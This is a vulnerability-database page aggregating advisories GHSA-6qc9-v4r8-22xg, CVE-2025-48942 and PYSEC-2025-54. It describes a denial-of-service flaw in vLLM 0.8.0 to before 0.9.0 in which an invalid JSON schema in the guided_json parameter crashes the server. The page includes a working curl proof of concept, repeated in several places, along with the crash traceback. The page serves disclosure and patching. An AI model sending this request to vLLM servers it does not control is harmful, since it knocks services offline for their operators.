Vulnerability-Lookup

GHSA-6QC9-V4R8-22XG

Vulnerability from github – Published: 2025-05-28 19:41 – Updated: 2025-06-27 21:06

Summary

vLLM DOS: Remotely kill vllm over http with invalid JSON schema

Details

Summary

Hitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server

Details

The following API call (venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}' will provoke a Uncaught exceptions from xgrammer in ./lib64/python3.11/site-packages/xgrammar/compiler.py

Issue with more information: https://github.com/vllm-project/vllm/issues/17248

PoC

Make a call to vllm with invalid json_scema e.g. {\"properties\":{\"reason\":{\"type\": \"stsring\"}}}

curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'

Impact

vllm crashes

example traceback

ERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 333, in run_engine_core
ERROR 03-26 17:25:01 [core.py:340]     engine_core.run_busy_loop()
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 367, in run_busy_loop
ERROR 03-26 17:25:01 [core.py:340]     outputs = step_fn()
ERROR 03-26 17:25:01 [core.py:340]               ^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 181, in step
ERROR 03-26 17:25:01 [core.py:340]     scheduler_output = self.scheduler.schedule()
ERROR 03-26 17:25:01 [core.py:340]                        ^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py", line 257, in schedule
ERROR 03-26 17:25:01 [core.py:340]     if structured_output_req and structured_output_req.grammar:
ERROR 03-26 17:25:01 [core.py:340]                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 41, in grammar
ERROR 03-26 17:25:01 [core.py:340]     completed = self._check_grammar_completion()
ERROR 03-26 17:25:01 [core.py:340]                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 29, in _check_grammar_completion
ERROR 03-26 17:25:01 [core.py:340]     self._grammar = self._grammar.result(timeout=0.0001)
ERROR 03-26 17:25:01 [core.py:340]                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 456, in result
ERROR 03-26 17:25:01 [core.py:340]     return self.__get_result()
ERROR 03-26 17:25:01 [core.py:340]            ^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 401, in __get_result
ERROR 03-26 17:25:01 [core.py:340]     raise self._exception
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/thread.py", line 58, in run
ERROR 03-26 17:25:01 [core.py:340]     result = self.fn(*self.args, **self.kwargs)
ERROR 03-26 17:25:01 [core.py:340]              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py", line 120, in _async_create_grammar
ERROR 03-26 17:25:01 [core.py:340]     ctx = self.compiler.compile_json_schema(grammar_spec,
ERROR 03-26 17:25:01 [core.py:340]           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py", line 101, in compile_json_schema
ERROR 03-26 17:25:01 [core.py:340]     self._handle.compile_json_schema(
ERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is<picojson::object>()) is false: Schema should be an object or bool
ERROR 03-26 17:25:01 [core.py:340] 
ERROR 03-26 17:25:01 [core.py:340] 
CRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.

Fix

https://github.com/vllm-project/vllm/pull/17623

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-28T19:41:53Z",
    "nvd_published_at": "2025-05-30T19:15:30Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nHitting the  /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server\n\n\n### Details\nThe following API call \n`(venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H \"Content-Type: application/json\" -d \u0027{\"model\": \"meta-llama/Llama-3.2-3B-Instruct\",\"prompt\": \"Name two great reasons to visit Sligo \", \"max_tokens\": 10, \"temperature\": 0.5, \"guided_json\":\"{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}\"}\u0027   \n`\nwill provoke a Uncaught exceptions from xgrammer in \n`./lib64/python3.11/site-packages/xgrammar/compiler.py\n`\n\nIssue with more information: https://github.com/vllm-project/vllm/issues/17248\n\n### PoC\nMake a call to vllm with invalid json_scema e.g. `{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}`\n\n`curl -s http://localhost:8000/v1/completions -H \"Content-Type: application/json\" -d \u0027{\"model\": \"meta-llama/Llama-3.2-3B-Instruct\",\"prompt\": \"Name two great reasons to visit Sligo \", \"max_tokens\": 10, \"temperature\": 0.5, \"guided_json\":\"{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}\"}\u0027\n`\n### Impact\nvllm crashes\n\n\nexample traceback\n```\nERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 333, in run_engine_core\nERROR 03-26 17:25:01 [core.py:340]     engine_core.run_busy_loop()\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 367, in run_busy_loop\nERROR 03-26 17:25:01 [core.py:340]     outputs = step_fn()\nERROR 03-26 17:25:01 [core.py:340]               ^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 181, in step\nERROR 03-26 17:25:01 [core.py:340]     scheduler_output = self.scheduler.schedule()\nERROR 03-26 17:25:01 [core.py:340]                        ^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py\", line 257, in schedule\nERROR 03-26 17:25:01 [core.py:340]     if structured_output_req and structured_output_req.grammar:\nERROR 03-26 17:25:01 [core.py:340]                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py\", line 41, in grammar\nERROR 03-26 17:25:01 [core.py:340]     completed = self._check_grammar_completion()\nERROR 03-26 17:25:01 [core.py:340]                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py\", line 29, in _check_grammar_completion\nERROR 03-26 17:25:01 [core.py:340]     self._grammar = self._grammar.result(timeout=0.0001)\nERROR 03-26 17:25:01 [core.py:340]                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/usr/lib64/python3.11/concurrent/futures/_base.py\", line 456, in result\nERROR 03-26 17:25:01 [core.py:340]     return self.__get_result()\nERROR 03-26 17:25:01 [core.py:340]            ^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/usr/lib64/python3.11/concurrent/futures/_base.py\", line 401, in __get_result\nERROR 03-26 17:25:01 [core.py:340]     raise self._exception\nERROR 03-26 17:25:01 [core.py:340]   File \"/usr/lib64/python3.11/concurrent/futures/thread.py\", line 58, in run\nERROR 03-26 17:25:01 [core.py:340]     result = self.fn(*self.args, **self.kwargs)\nERROR 03-26 17:25:01 [core.py:340]              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py\", line 120, in _async_create_grammar\nERROR 03-26 17:25:01 [core.py:340]     ctx = self.compiler.compile_json_schema(grammar_spec,\nERROR 03-26 17:25:01 [core.py:340]           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340]   File \"/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py\", line 101, in compile_json_schema\nERROR 03-26 17:25:01 [core.py:340]     self._handle.compile_json_schema(\nERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is\u003cpicojson::object\u003e()) is false: Schema should be an object or bool\nERROR 03-26 17:25:01 [core.py:340] \nERROR 03-26 17:25:01 [core.py:340] \nCRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.\n```\n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/17623",
  "id": "GHSA-6qc9-v4r8-22xg",
  "modified": "2025-06-27T21:06:56Z",
  "published": "2025-05-28T19:41:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-6qc9-v4r8-22xg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48942"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/issues/17248"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/pull/17623"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/08bf7840780980c7568c573c70a6a8db94fd45ff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-54.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM DOS: Remotely kill vllm over http with invalid JSON schema"
}

CVE-2025-48942 (GCVE-0-2025-48942)

Vulnerability from cvelistv5 – Published: 2025-05-30 18:33 – Updated: 2025-05-30 20:37

Title

vLLM DOS: Remotely kill vllm over http with invalid JSON schema

Summary

vLLM is an inference and serving engine for large language models (LLMs). In versions 0.8.0 up to but excluding 0.9.0, hitting the /v1/completions API with a invalid json_schema as a Guided Param kills the vllm server. This vulnerability is similar GHSA-9hcf-v7m4-6m2j/CVE-2025-48943, but for regex instead of a JSON schema. Version 0.9.0 fixes the issue.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-05-30 20:36 UTC

CWE

CWE-248 - Uncaught Exception

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/vllm-project/vllm/security/adv…	x_refsource_CONFIRM
https://github.com/vllm-project/vllm/issues/17248	x_refsource_MISC
https://github.com/vllm-project/vllm/pull/17623	x_refsource_MISC
https://github.com/vllm-project/vllm/commit/08bf7…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
vllm-project	vllm	Affected: >= 0.8.0, < 0.9.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-48942",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-05-30T20:36:50.679547Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-30T20:37:06.015Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "vllm",
          "vendor": "vllm-project",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.8.0, \u003c 0.9.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "vLLM is an inference and serving engine for large language models (LLMs). In versions 0.8.0 up to but excluding 0.9.0, hitting the  /v1/completions API with a invalid json_schema as a Guided Param kills the vllm server. This vulnerability is similar GHSA-9hcf-v7m4-6m2j/CVE-2025-48943, but for regex instead of a JSON schema. Version 0.9.0 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-248",
              "description": "CWE-248: Uncaught Exception",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-05-30T18:37:10.641Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/vllm-project/vllm/security/advisories/GHSA-6qc9-v4r8-22xg",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-6qc9-v4r8-22xg"
        },
        {
          "name": "https://github.com/vllm-project/vllm/issues/17248",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vllm-project/vllm/issues/17248"
        },
        {
          "name": "https://github.com/vllm-project/vllm/pull/17623",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vllm-project/vllm/pull/17623"
        },
        {
          "name": "https://github.com/vllm-project/vllm/commit/08bf7840780980c7568c573c70a6a8db94fd45ff",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vllm-project/vllm/commit/08bf7840780980c7568c573c70a6a8db94fd45ff"
        }
      ],
      "source": {
        "advisory": "GHSA-6qc9-v4r8-22xg",
        "discovery": "UNKNOWN"
      },
      "title": "vLLM DOS: Remotely kill vllm over http with invalid JSON schema"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-48942",
    "datePublished": "2025-05-30T18:33:40.488Z",
    "dateReserved": "2025-05-28T18:49:07.581Z",
    "dateUpdated": "2025-05-30T20:37:06.015Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

PYSEC-2025-54

Vulnerability from pysec - Published: 2025-05-30 19:15 - Updated: 2025-06-26 21:23

Details

Impacted products

Name	purl
vllm	pkg:pypi/vllm

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm",
        "purl": "pkg:pypi/vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "08bf7840780980c7568c573c70a6a8db94fd45ff"
            }
          ],
          "repo": "https://github.com/vllm-project/vllm",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0.8.0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.8.0",
        "0.8.1",
        "0.8.2",
        "0.8.3",
        "0.8.4",
        "0.8.5",
        "0.8.5.post1"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48942",
    "GHSA-6qc9-v4r8-22xg"
  ],
  "details": "vLLM is an inference and serving engine for large language models (LLMs). In versions 0.8.0 up to but excluding 0.9.0, hitting the  /v1/completions API with a invalid json_schema as a Guided Param kills the vllm server. This vulnerability is similar GHSA-9hcf-v7m4-6m2j/CVE-2025-48943, but for regex instead of a JSON schema. Version 0.9.0 fixes the issue.",
  "id": "PYSEC-2025-54",
  "modified": "2025-06-26T21:23:06.319321+00:00",
  "published": "2025-05-30T19:15:30+00:00",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-6qc9-v4r8-22xg"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-6qc9-v4r8-22xg"
    },
    {
      "type": "FIX",
      "url": "https://github.com/vllm-project/vllm/commit/08bf7840780980c7568c573c70a6a8db94fd45ff"
    },
    {
      "type": "FIX",
      "url": "https://github.com/vllm-project/vllm/pull/17623"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/vllm-project/vllm/issues/17248"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/vllm-project/vllm/pull/17623"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-6QC9-V4R8-22XG

Summary

Details

PoC

Impact

Fix

CVE-2025-48942 (GCVE-0-2025-48942)

PYSEC-2025-54

Tags

Sightings

Nomenclature

Related by attack behaviour